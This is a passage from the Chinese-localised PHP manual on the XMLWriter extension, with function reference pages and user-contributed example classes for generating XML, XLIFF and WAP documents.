xmlwriter_start_attribute_ns($xw, 'prefix', 'isbn', 'uri');
xmlwriter_end_attribute($xw);

xmlwriter_end_attribute($xw);

xmlwriter_text($xw, 'book1');
xmlwriter_end_element($xw);

xmlwriter_end_document($xw);

echo xmlwriter_output_memory($xw);

以上例程会输出：

<?xml version="1.0" encoding="UTF-8"?>
<prefix:books isbn="" prefix:isbn="" xmlns:prefix="uri">book1</prefix:books>

User Contributed Notes

There are no user contributed notes for this page.


Working with the OO API

This example shows how to work with XMLWriter's object oriented API.

Example #1 Working with the OO API

<?php

$xw = new XMLWriter();
$xw->openMemory();
$xw->startDocument("1.0");
$xw->startElement("book");
$xw->text("example");
$xw->endElement();
$xw->endDocument();
echo $xw->outputMemory();

以上例程会输出：

<?xml version="1.0"?>
<book>example</book>

User Contributed Notes

There are no user contributed notes for this page.


XMLWriter 函数

Table of Contents

  • XMLWriter::endAttribute — End attribute
  • XMLWriter::endCdata — End current CDATA
  • XMLWriter::endComment — Create end comment
  • XMLWriter::endDocument — End current document
  • XMLWriter::endDtdAttlist — End current DTD AttList
  • XMLWriter::endDtdElement — End current DTD element
  • XMLWriter::endDtdEntity — End current DTD Entity
  • XMLWriter::endDtd — End current DTD
  • XMLWriter::endElement — End current element
  • XMLWriter::endPi — End current PI
  • XMLWriter::flush — Flush current buffer
  • XMLWriter::fullEndElement — End current element
  • XMLWriter::openMemory — Create new xmlwriter using memory for string output
  • XMLWriter::openUri — Create new xmlwriter using source uri for output
  • XMLWriter::outputMemory — Returns current buffer
  • XMLWriter::setIndentString — Set string used for indenting
  • XMLWriter::setIndent — Toggle indentation on/off
  • XMLWriter::startAttributeNs — Create start namespaced attribute
  • XMLWriter::startAttribute — Create start attribute
  • XMLWriter::startCdata — Create start CDATA tag
  • XMLWriter::startComment — Create start comment
  • XMLWriter::startDocument — Create document tag
  • XMLWriter::startDtdAttlist — Create start DTD AttList
  • XMLWriter::startDtdElement — Create start DTD element
  • XMLWriter::startDtdEntity — Create start DTD Entity
  • XMLWriter::startDtd — Create start DTD tag
  • XMLWriter::startElementNs — Create start namespaced element tag
  • XMLWriter::startElement — Create start element tag
  • XMLWriter::startPi — Create start PI tag
  • XMLWriter::text — Write text
  • XMLWriter::writeAttributeNs — Write full namespaced attribute
  • XMLWriter::writeAttribute — Write full attribute
  • XMLWriter::writeCdata — Write full CDATA tag
  • XMLWriter::writeComment — Write full comment tag
  • XMLWriter::writeDtdAttlist — Write full DTD AttList tag
  • XMLWriter::writeDtdElement — Write full DTD element tag
  • XMLWriter::writeDtdEntity — Write full DTD Entity tag
  • XMLWriter::writeDtd — Write full DTD tag
  • XMLWriter::writeElementNs — Write full namespaced element tag
  • XMLWriter::writeElement — Write full element tag
  • XMLWriter::writePi — Writes a PI
  • XMLWriter::writeRaw — Write a raw XML text

User Contributed Notes

benstendahl 04-Nov-2014 05:09
XML allows for repeated nodes that an array does not support in its associative index.  To account for this we can use numerically indexed arrays.

$array = array(
    'element' => array(
        array('node' => 'some value'),
        array('node' => 'some other value')
    ),
    'key' => 'value'
);

This requires that we change the fromArray() method in the class below to check for numeric indexes and throw them away.

public function fromArray(array $array)
 {
    foreach ($array as $key=>$val) {
        if (is_array($val)) {
            if (is_numeric($key)) {
                // numeric keys aren't allowed so we'll skip the key
                $this->fromArray($val);
            } else {
                $this->startElement($key);
                $this->fromArray($val);
                $this->endElement();
            }
        } else {
            $this->writeElement($key, $val);
        }
    }
}
neftali dot yagua at gmail dot com 02-Jun-2011 06:43
Inspired in the XmlConstruct.

<?php
class XLIFFConstruct extends XMLWriter
{

    /**
     * Constructor.
     * @param string $prm_rootElementName A root element's name of a current xml document
     * @param string $prm_xsltFilePath Path of a XSLT file.
     * @access public
     * @param null
     */
      var $_phrase_id=1;
    public function __construct(){
        $this->openMemory();
        $this->setIndent(true);
        $this->setIndentString(' ');
        $this->startDocument('1.0', 'UTF-8');

        if($prm_xsltFilePath){
            $this->writePi('xml-stylesheet', 'type="text/xsl" href="'.$prm_xsltFilePath.'"');
        }
        $this->startElement('xliff');
        $this->writeAttribute('version', '1.0');
        $this->startElement('file');
        $this->writeAttribute('original', 'global');
        $this->writeAttribute('source-language', 'es');
        $this->writeAttribute('datatype', 'plaintext');
        $this->writeAttribute('date', date('c'));
        $this->startElement('body');
    }
    public function addPhrase($source, $target){
        $this->startElement('trans-unit');
      $this->writeAttribute('id', $this->_phrase_id++);
        $this->startElement('source');
        $this->text($source);
      $this->endElement();
        $this->startElement('target');
      $this->text($target);
      $this->endElement();
      $this->endElement();
    }
    public function getDocument(){
        $this->endElement();
        $this->endElement();
        $this->endElement();
        $this->endDocument();
        return $this->outputMemory();
    }
    public function output(){
        header('Content-type: text/xml');
        echo $this->getDocument();
    }
}
?>

Example:

<?php
$xliff = new XLIFFConstruct();
$xliff->addPhrase('source','target');
$xliff->addPhrase('add','a?adir');
$xliff->addPhrase('open','abrir');
$xliff->addPhrase('change','cambiar');
$xliff->addPhrase('new','nuevo');
$xliff->addPhrase('save','guardar');

echo $xliff->getDocument();

?>
darko at uvcms dot com 22-Feb-2010 07:30
setElement in the previous example does exactly the same thing as already existing writeElement.
massimo71 19-Feb-2009 02:24
I had a feature to the XmlConstruct class by Alexandre Aprica. Now you can use nested array to generate nested xml elements.

<?php
class XmlConstruct extends XMLWriter
{

    /**
     * Constructor.
     * @param string $prm_rootElementName A root element's name of a current xml document
     * @param string $prm_xsltFilePath Path of a XSLT file.
     * @access public
     * @param null
     */
    public function __construct($prm_rootElementName, $prm_xsltFilePath=''){
        $this->openMemory();
        $this->setIndent(true);
        $this->setIndentString(' ');
        $this->startDocument('1.0', 'UTF-8');

        if($prm_xsltFilePath){
            $this->writePi('xml-stylesheet', 'type="text/xsl" href="'.$prm_xsltFilePath.'"');
        }

        $this->startElement($prm_rootElementName);
    }

    /**
     * Set an element with a text to a current xml document.
     * @access public
     * @param string $prm_elementName An element's name
     * @param string $prm_ElementText An element's text
     * @return null
     */
    public function setElement($prm_elementName, $prm_ElementText){
        $this->startElement($prm_elementName);
        $this->text($prm_ElementText);
        $this->endElement();
    }

    /**
     * Construct elements and texts from an array.
     * The array should contain an attribute's name in index part
     * and a attribute's text in value part.
     * @access public
     * @param array $prm_array Contains attributes and texts
     * @return null
     */
    public function fromArray($prm_array){
      if(is_array($prm_array)){
        foreach ($prm_array as $index => $element){
          if(is_array($element)){
            $this->startElement($index);
            $this->fromArray($element);
            $this->endElement();
          }
          else
            $this->setElement($index, $element);

        }
      }
    }

    /**
     * Return the content of a current xml document.
     * @access public
     * @param null
     * @return string Xml document
     */
    public function getDocument(){
        $this->endElement();
        $this->endDocument();
        return $this->outputMemory();
    }

    /**
     * Output the content of a current xml document.
     * @access public
     * @param null
     */
    public function output(){
        header('Content-type: text/xml');
        echo $this->getDocument();
    }

}

Example:

$contents = array(
  'page_title' => 'Generate a XHTML page from XML+XSLT files',
  'welcome_msg' => 'Simple XHTML document from XML+XSLT files!',
  'prova' => array(
    "gino" => array(
      "innergino" => "gino inner value"
    ),
    "filo" => "filodata"
  ),
);

$XmlConstruct = new XmlConstruct('root');
$XmlConstruct->fromArray($contents);
$XmlConstruct->output();
?>
Yves Sucaet 25-Jul-2007 07:10
If you want your XML-output to be seen as XML by the browser, you need to modify your header. The XmlWriter does not do this for you! Therefore, the first line of your script should be:

<?php header("Content-type: text/xml"); ?>
Alexandre Arica 16-Apr-2006 05:25
How to generate a simple XML document for a XSL-Transformation purpose.

We have 3 files:
- 'index.php' : output a XML document
- 'XmlConstruct.class.php' : allow to construct a XML document with 'xmlwriter'
- 'index.xsl' : contains a XSLT document

Contents of the file 'index.php' :

<?php
$contents = array('page_title' => 'Generate a XHTML page from XML+XSLT files',
                    'welcome_msg' => 'Simple XHTML document from XML+XSLT files!');

require('XmlConstruct.class.php');
$XmlConstruct = new XmlConstruct('rootElement', 'index.xsl');
$XmlConstruct->fromArray($contents);
$XmlConstruct->output();
?>

Contents of the file  'XmlConstruct.class.php' :

<?php

/**
 * Construct a simple XML document.
 * This class inherits from the (PHP) class 'xmlwriter'.
 * You will need at least PHP 5.1.2
 *
 * @author Alexandre Arica
 * @since  16 April 2006
 * @version 1.0 modified the 16 April 2006
 */
class XmlConstruct extends XMLWriter
{

    /**
     * Constructor.
     * @param string $prm_rootElementName A root element's name of a current xml document
     * @param string $prm_xsltFilePath Path of a XSLT file.
     * @access public
     * @param null
     */
    public function __construct($prm_rootElementName, $prm_xsltFilePath=''){
        $this->openMemory();
        $this->setIndent(true);
        $this->setIndentString(' ');
        $this->startDocument('1.0', 'UTF-8');

        if($prm_xsltFilePath){
            $this->writePi('xml-stylesheet', 'type="text/xsl" href="'.$prm_xsltFilePath.'"');
        }

        $this->startElement($prm_rootElementName);
    }

    /**
     * Set an element with a text to a current xml document.
     * @access public
     * @param string $prm_elementName An element's name
     * @param string $prm_ElementText An element's text
     * @return null
     */
    public function setElement($prm_elementName, $prm_ElementText){
        $this->startElement($prm_elementName);
        $this->text($prm_ElementText);
        $this->endElement();
    }

    /**
     * Construct elements and texts from an array.
     * The array should contain an attribute's name in index part
     * and a attribute's text in value part.
     * @access public
     * @param array $prm_array Contains attributes and texts
     * @return null
     */
    public function fromArray($prm_array){
        if(is_array($prm_array)){
            foreach ($prm_array as $index => $text){
                $this->setElement($index, $text);
            }
        }
    }

    /**
     * Return the content of a current xml document.
     * @access public
     * @param null
     * @return string Xml document
     */
    public function getDocument(){
        $this->endElement();
        $this->endDocument();
        return $this->outputMemory();
    }

    /**
     * Output the content of a current xml document.
     * @access public
     * @param null
     */
    public function output(){
        header('Content-type: text/xml');
        echo $this->getDocument();
    }

}

?>

Contents of the file 'index.xsl' :

<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet
 version="1.0"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns="http://www.w3.org/TR/xhtml1/strict">

<xsl:output
    method="html"
    encoding="utf-8"
/>

<xsl:template match="rootElement">

<html xmlns="http://www.w3.org/1999/xhtml">

        <head>

            <title><xsl:value-of select="page_title" /></title>

        </head>

        <body>

            <xsl:value-of select="welcome_msg" />

        </body>

</html>

</xsl:template>

</xsl:stylesheet>
Carlos Averett 15-Apr-2006 10:49
Using XMLWriter to create a WAP page:

<?php
$memory = xmlwriter_open_memory();
xmlwriter_start_document($memory,'1.0','UTF-8');
xmlwriter_start_dtd($memory,'html','-//WAPFORUM//DTD XHTML Mobile 1.0//EN', 'http://www.wapforum.org/DTD/xhtml-mobile10.dtd');
xmlwriter_end_dtd($memory);
xmlwriter_start_element ($memory,'html'); // <html>
xmlwriter_write_attribute( $memory, 'xmlns', 'http://www.wapforum.org/DTD/xhtml-mobile10.dtd');
xmlwriter_write_attribute( $memory, 'xm:lang', 'en');

xmlwriter_start_element($memory,'head'); // <head>

xmlwriter_write_element ($memory,'title', 'Test WAP Document');

xmlwriter_end_element($memory); // </head>
xmlwriter_start_element($memory,'body'); // <body>
xmlwriter_start_element($memory,'ol'); // <ol>

xmlwriter_write_element ($memory,'li', 'One Item');
xmlwriter_write_element ($memory,'li', 'Another Item');
xmlwriter_write_element ($memory,'li', 'Another Item');

xmlwriter_end_element($memory); // </ol>
xmlwriter_end_element($memory); // </body>
xmlwriter_end_element($memory); // </html>

xmlwriter_end_dtd($memory);
$xml = xmlwriter_output_memory($memory,true);
?>

Output:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.wapforum.org/DTD/xhtml-mobile10.dtd" xm:lang="en">
<head>
<title>Test WAP Document</title>
</head>
<body>
<ol>
<li>One Item</li>
<li>Another Item</li>
<li>Another Item</li>
</ol>
</body>
</html>


End attribute

  • ? XMLWriter 函数
  • XMLWriter::endCdata ?
  • PHP Manual
  • XMLWriter 函数
  • End attribute

XMLWriter::endAttribute

xmlwriter_end_attribute

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endAttribute -- xmlwriter_end_attribute — End attribute

说明

面向对象风格

XMLWriter::endAttribute ( void ) : bool

过程化风格

xmlwriter_end_attribute ( resource $xmlwriter ) : bool

Ends the current attribute.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startAttribute() - Create start attribute
  • XMLWriter::startAttributeNs() - Create start namespaced attribute
  • XMLWriter::writeAttribute() - Write full attribute
  • XMLWriter::writeAttributeNs() - Write full namespaced attribute

User Contributed Notes

There are no user contributed notes for this page.


End current CDATA

  • ? XMLWriter::endAttribute
  • XMLWriter::endComment ?
  • PHP Manual
  • XMLWriter 函数
  • End current CDATA

XMLWriter::endCdata

xmlwriter_end_cdata

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endCdata -- xmlwriter_end_cdata — End current CDATA

说明

面向对象风格

XMLWriter::endCdata ( void ) : bool

过程化风格

xmlwriter_end_cdata ( resource $xmlwriter ) : bool

Ends the current CDATA section.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startCdata() - Create start CDATA tag
  • XMLWriter::writeCdata() - Write full CDATA tag

User Contributed Notes

There are no user contributed notes for this page.


Create end comment

  • ? XMLWriter::endCdata
  • XMLWriter::endDocument ?
  • PHP Manual
  • XMLWriter 函数
  • Create end comment

XMLWriter::endComment

xmlwriter_end_comment

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 1.0.0)

XMLWriter::endComment -- xmlwriter_end_comment — Create end comment

说明

面向对象风格

XMLWriter::endComment ( void ) : bool

过程化风格

xmlwriter_end_comment ( resource $xmlwriter ) : bool

Ends the current comment.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startComment() - Create start comment
  • XMLWriter::writeComment() - Write full comment tag

User Contributed Notes

There are no user contributed notes for this page.


End current document

  • ? XMLWriter::endComment
  • XMLWriter::endDtdAttlist ?
  • PHP Manual
  • XMLWriter 函数
  • End current document

XMLWriter::endDocument

xmlwriter_end_document

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endDocument -- xmlwriter_end_document — End current document

说明

面向对象风格

XMLWriter::endDocument ( void ) : bool

过程化风格

xmlwriter_end_document ( resource $xmlwriter ) : bool

Ends the current document.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDocument() - Create document tag

User Contributed Notes

There are no user contributed notes for this page.


End current DTD AttList

  • ? XMLWriter::endDocument
  • XMLWriter::endDtdElement ?
  • PHP Manual
  • XMLWriter 函数
  • End current DTD AttList

XMLWriter::endDtdAttlist

xmlwriter_end_dtd_attlist

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtdAttlist -- xmlwriter_end_dtd_attlist — End current DTD AttList

说明

面向对象风格

XMLWriter::endDtdAttlist ( void ) : bool

过程化风格

xmlwriter_end_dtd_attlist ( resource $xmlwriter ) : bool

Ends the current DTD attribute list.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtdAttlist() - Create start DTD AttList
  • XMLWriter::writeDtdAttlist() - Write full DTD AttList tag

User Contributed Notes

There are no user contributed notes for this page.


End current DTD element

  • ? XMLWriter::endDtdAttlist
  • XMLWriter::endDtdEntity ?
  • PHP Manual
  • XMLWriter 函数
  • End current DTD element

XMLWriter::endDtdElement

xmlwriter_end_dtd_element

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtdElement -- xmlwriter_end_dtd_element — End current DTD element

说明

面向对象风格

XMLWriter::endDtdElement ( void ) : bool

过程化风格

xmlwriter_end_dtd_element ( resource $xmlwriter ) : bool

Ends the current DTD element.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtdElement() - Create start DTD element
  • XMLWriter::writeDtdElement() - Write full DTD element tag

User Contributed Notes

There are no user contributed notes for this page.


End current DTD Entity

  • ? XMLWriter::endDtdElement
  • XMLWriter::endDtd ?
  • PHP Manual
  • XMLWriter 函数
  • End current DTD Entity

XMLWriter::endDtdEntity

xmlwriter_end_dtd_entity

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtdEntity -- xmlwriter_end_dtd_entity — End current DTD Entity

说明

面向对象风格

XMLWriter::endDtdEntity ( void ) : bool

过程化风格

xmlwriter_end_dtd_entity ( resource $xmlwriter ) : bool

Ends the current DTD entity.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtdEntity() - Create start DTD Entity
  • XMLWriter::writeDtdEntity() - Write full DTD Entity tag

User Contributed Notes

There are no user contributed notes for this page.


End current DTD

  • ? XMLWriter::endDtdEntity
  • XMLWriter::endElement ?
  • PHP Manual
  • XMLWriter 函数
  • End current DTD

XMLWriter::endDtd

xmlwriter_end_dtd

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtd -- xmlwriter_end_dtd — End current DTD

说明

面向对象风格

XMLWriter::endDtd ( void ) : bool

过程化风格

xmlwriter_end_dtd ( resource $xmlwriter ) : bool

Ends the DTD of the document.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtd() - Create start DTD tag
  • XMLWriter::writeDtd() - Write full DTD tag

User Contributed Notes

There are no user contributed notes for this page.


End current element

  • ? XMLWriter::endDtd
  • XMLWriter::endPi ?
  • PHP Manual
  • XMLWriter 函数
  • End current element

XMLWriter::endElement

xmlwriter_end_element

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endElement -- xmlwriter_end_element — End current element

说明

面向对象风格

XMLWriter::endElement ( void ) : bool

过程化风格

xmlwriter_end_element ( resource $xmlwriter ) : bool

Ends the current element.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startElement() - Create start element tag
  • XMLWriter::writeElement() - Write full element tag

User Contributed Notes

contact at paulchaplin dot com 26-May-2012 12:32
Note that elements opened this way will *remain open* (i.e. the XML will be badly formed and thus invalid) unless *each element* is explicitly closed with XMLWriter::endElement.

If you have multiple elements open, and wish to simply close them all -- including the root element -- this snippet is what you want:

<?php

// Automatically close all remaining open elements.
while ($xml->endElement() !== false) { continue; }

?>

In some cases, XMLWriter::writeElement might serve you better: it writes complete elements, but isn't suitable when you need to loop to generate its contents, unless this is done beforehand.


End current PI

  • ? XMLWriter::endElement
  • XMLWriter::flush ?
  • PHP Manual
  • XMLWriter 函数
  • End current PI

XMLWriter::endPi

xmlwriter_end_pi

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::endPi -- xmlwriter_end_pi — End current PI

说明

面向对象风格

XMLWriter::endPi ( void ) : bool

过程化风格

xmlwriter_end_pi ( resource $xmlwriter ) : bool

Ends the current processing instruction.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startPi() - Create start PI tag
  • XMLWriter::writePi() - Writes a PI

User Contributed Notes

There are no user contributed notes for this page.


Flush current buffer

  • ? XMLWriter::endPi
  • XMLWriter::fullEndElement ?
  • PHP Manual
  • XMLWriter 函数
  • Flush current buffer

XMLWriter::flush

xmlwriter_flush

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 1.0.0)

XMLWriter::flush -- xmlwriter_flush — Flush current buffer

说明

面向对象风格

XMLWriter::flush ([ bool $empty = TRUE ] ) : mixed

过程化风格

xmlwriter_flush ( resource $xmlwriter [, bool $empty = TRUE ] ) : mixed

Flushes the current buffer.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

empty

Whether to empty the buffer or not. Default is TRUE.

返回值

If you opened the writer in memory, this function returns the generated XML buffer, Else, if using URI, this function will write the buffer and return the number of written bytes.

User Contributed Notes

There are no user contributed notes for this page.


End current element

  • ? XMLWriter::flush
  • XMLWriter::openMemory ?
  • PHP Manual
  • XMLWriter 函数
  • End current element

XMLWriter::fullEndElement

xmlwriter_full_end_element

(PHP 5 >= 5.2.0, PHP 7, PECL xmlwriter >= 2.0.4)

XMLWriter::fullEndElement -- xmlwriter_full_end_element — End current element

说明

面向对象风格

XMLWriter::fullEndElement ( void ) : bool

过程化风格

xmlwriter_full_end_element ( resource $xmlwriter ) : bool

End the current xml element. Writes an end tag even if the element is empty.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endElement() - End current element

User Contributed Notes

There are no user contributed notes for this page.


Create new xmlwriter using memory for string output

  • ? XMLWriter::fullEndElement
  • XMLWriter::openUri ?
  • PHP Manual
  • XMLWriter 函数
  • Create new xmlwriter using memory for string output

XMLWriter::openMemory

xmlwriter_open_memory

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::openMemory -- xmlwriter_open_memory — Create new xmlwriter using memory for string output

说明

面向对象风格

XMLWriter::openMemory ( void ) : bool

过程化风格

xmlwriter_open_memory ( void ) : resource

Creates a new XMLWriter using memory for string output.

参数

返回值

面向对象风格: 成功时返回 TRUE， 或者在失败时返回 FALSE。

过程化风格: Returns a new xmlwriter 资源(resource) for later use with the xmlwriter functions on success, FALSE on error.

参见

  • XMLWriter::openUri() - Create new xmlwriter using source uri for output

User Contributed Notes

alvaro at demogracia dot com 16-Jun-2011 01:05
A simple usage example:

<?php
header('Content-type: text/xml; CHARSET=gb2312');

$oXMLWriter = new XMLWriter;
$oXMLWriter->openMemory();
$oXMLWriter->startDocument('1.0', 'UTF-8');

$oXMLWriter->startElement('test');
$oXMLWriter->text('Hello, World!');
$oXMLWriter->endElement();

$oXMLWriter->endDocument();
echo $oXMLWriter->outputMemory(TRUE);
?>
prashant at prashantpatil dot net 26-Apr-2010 06:40
Here is an simple example of using openMemory. This is particularly useful when you are handling a large amount of data and you want to split the xml creation in batches.

<?php
$batchSize = 25;
$xmlWriter = new XMLWriter();
$xmlWriter->openUri('php://output');
$xmlWriter->setIndent(true);
if($xmlWriter)
{
  $xmlWriter->startDocument('1.0','UTF-8');
  $xmlWriter->startElement('Books');

  $memXmlWriter = new XMLWriter();

  $memXmlWriter->openMemory();
  $memXmlWriter->setIndent(true);

  for($i=1;$i<=1000;$i++)
  {
    $memXmlWriter->startElement('book');
      $memXmlWriter->text('book_'.$i);
    $memXmlWriter->endElement();

    if($i%5 == 0)
    {
      $batchXmlString = $memXmlWriter->outputMemory(true);
      $xmlWriter->writeRaw($batchXmlString);
    }
  }
  $memXmlWriter->flush();
  unset($memXmlWriter);
  $xmlWriter->endElement();
  $xmlWriter->endDocument();
}
?>


Create new xmlwriter using source uri for output

  • ? XMLWriter::openMemory
  • XMLWriter::outputMemory ?
  • PHP Manual
  • XMLWriter 函数
  • Create new xmlwriter using source uri for output

XMLWriter::openUri

xmlwriter_open_uri

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::openUri -- xmlwriter_open_uri — Create new xmlwriter using source uri for output

说明

面向对象风格

XMLWriter::openUri ( string $uri ) : bool

过程化风格

xmlwriter_open_uri ( string $uri ) : resource

Creates a new XMLWriter using uri for the output.

参数

uri

The URI of the resource for the output.

返回值

面向对象风格: 成功时返回 TRUE， 或者在失败时返回 FALSE。

过程化风格: Returns a new xmlwriter 资源(resource) for later use with the xmlwriter functions on success, FALSE on error.

参见

  • XMLWriter::openMemory() - Create new xmlwriter using memory for string output

User Contributed Notes

tloeffler 10-Sep-2015 06:08
Reproduced on Windows:

If you get an exception when you try to handle the created file (rename, move etc.) you should unset the XMLWriter instance.

In other case you'll get an exception because the XMLWriter process holds access to this file.

<?php
$xml = new \XMLWriter();
$xml->openUri(...)
...
$xml->flush();

unset($xml); //important!
icepick dot pt at hotmail dot com 16-Mar-2009 01:13
I wanted to stream a XML file directly to the user and having him prompted to save it without displaying the content, but when using

<?php
$out =new XMLWriter();
$out->openURI('php://output');
?>

the user's browser was displaying the file contents instead of prompting the user with a filesave window.

To have the XML file stream saved directly to the user without being displayed by the browser, you shoud add:

<?php
header("Content-Type: text/html/force-download");
header("Content-Disposition: attachment; filename='file_name.xml'");
$out =new XMLWriter();
$out->openURI('php://output');
?>

This will prompt the user with a dialog box to save 'file_name.xml' on his disk, and will not display the content of the streamed XML.
yankee at ignorethis dot cipher DASH code dot de 19-Nov-2007 10:46
Want to write xml-data directly to the user instead of memory or file?
This will do:
<?php
$out =new XMLWriter();
$out->openURI('php://output');
?>


Returns current buffer

  • ? XMLWriter::openUri
  • XMLWriter::setIndentString ?
  • PHP Manual
  • XMLWriter 函数
  • Returns current buffer

XMLWriter::outputMemory

xmlwriter_output_memory

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::outputMemory -- xmlwriter_output_memory — Returns current buffer

说明

面向对象风格

XMLWriter::outputMemory ([ bool $flush = TRUE ] ) : string

过程化风格

xmlwriter_output_memory ( resource $xmlwriter [, bool $flush = TRUE ] ) : string

Returns the current buffer.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

flush

Whether to flush the output buffer or not. Default is TRUE.

返回值

Returns the current buffer as a string.

参见

  • XMLWriter::flush() - Flush current buffer

User Contributed Notes

dave at dtracorp dot com 22-Feb-2007 11:08
when writing xml with xmlwriter, there is no need to use htmlspecialchars or htmlentities for the text() method (this will only cause double encoding)
the xmlwriter takes care of entities for you after calling outputMemory


Set string used for indenting

  • ? XMLWriter::outputMemory
  • XMLWriter::setIndent ?
  • PHP Manual
  • XMLWriter 函数
  • Set string used for indenting

XMLWriter::setIndentString

xmlwriter_set_indent_string

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::setIndentString -- xmlwriter_set_indent_string — Set string used for indenting

说明

面向对象风格

XMLWriter::setIndentString ( string $indentString ) : bool

过程化风格

xmlwriter_set_indent_string ( resource $xmlwriter , string $indentString ) : bool

Sets the string which will be used to indent each element/attribute of the resulting xml.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

indentString

The indentation string.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::setIndent() - Toggle indentation on/off

User Contributed Notes

There are no user contributed notes for this page.


Toggle indentation on/off

  • ? XMLWriter::setIndentString
  • XMLWriter::startAttributeNs ?
  • PHP Manual
  • XMLWriter 函数
  • Toggle indentation on/off

XMLWriter::setIndent

xmlwriter_set_indent

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::setIndent -- xmlwriter_set_indent — Toggle indentation on/off

说明

面向对象风格

XMLWriter::setIndent ( bool $indent ) : bool

过程化风格

xmlwriter_set_indent ( resource $xmlwriter , bool $indent ) : bool

Toggles indentation on or off.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

indent

Whether indentation is enabled.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::setIndentString() - Set string used for indenting

User Contributed Notes

nemiga at gmail dot com 28-Jul-2011 12:05
This param should be used only after openMemory() call:

<?php
$version = '1.0';
$encoding = 'UTF-8';
$rootName = 'root';

$xml = new XMLWriter();

$xml->openMemory();
$xml->setIndent(true);
$xml->startDocument($version, $encoding);
$xml->startElement($this->rootName);
// .. add more elements here
$xml->endElement();
echo $xml->outputMemory();
?>


Create start namespaced attribute

  • ? XMLWriter::setIndent
  • XMLWriter::startAttribute ?
  • PHP Manual
  • XMLWriter 函数
  • Create start namespaced attribute

XMLWriter::startAttributeNs

xmlwriter_start_attribute_ns

